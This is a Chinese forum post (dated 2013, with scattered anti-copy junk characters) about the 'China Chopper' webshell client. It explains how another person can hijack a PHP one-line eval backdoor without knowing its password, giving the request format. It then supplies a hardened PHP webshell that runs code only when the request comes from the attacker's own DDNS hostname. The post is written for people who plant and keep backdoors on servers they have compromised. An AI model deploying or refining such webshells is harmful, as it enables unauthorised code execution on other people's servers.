今天试了下“中国菜刀”这款C/S的WEB管理软件，发现一个致命的漏洞$ S# i$ h1 [$ C4 r6 q
: R. e& T% u( ^% E$ [$ w9 K就算你设置了密码，使用了eval($_REQUEST['moyo']);5 l& F: u! V, J M' z' o3 b
+ |8 A+ C% n5 u1 ]9 V) C5 p
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门- N$ Y7 A3 f* S+ q
$ U$ B$ k- U0 r( |1 g
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));' H2 m% _1 j( F$ n$ U' Z
1 E$ B3 @. ?# h. c
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了- w7 p! ~$ Y5 z. ?) s1 c+ H/ z! E7 Y
' x2 e3 _7 |0 _" V- q
不知道是设计缺陷还是故意留的后门
C7 p. k3 M0 Z. b- e- A2 D" G- E* w: o9 ~% t; s
如果有人使用一句话之类的密码，有个小技巧可以避免自己的一句话被人盗用7 C0 U3 Q$ d8 _7 q( {2 w
, M q) \$ x' m% R; a# Y7 ^4 ?本地使用花生壳之类的DDNS软件，比如分配域名是moyo.apiz.org0 g% A- e6 B7 t: V8 T9 y/ f
% W/ H# X! Y) A h% @6 }然后一句话后门这样写
# m _! @" j& V. C0 D0 i8 u$ P# i2 Q& A, k5 Z' S @% y8 S
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>4 W) x+ _8 c4 |5 t0 F+ B4 y$ M
这样就可以让一句话后门只允许自己的电脑连接了" z0 d' m$ W% D+ T
# p: @( c3 G* N8 {' g1 V6 X |
发表于 2013-7-26 12:45:48
收藏
支持
反对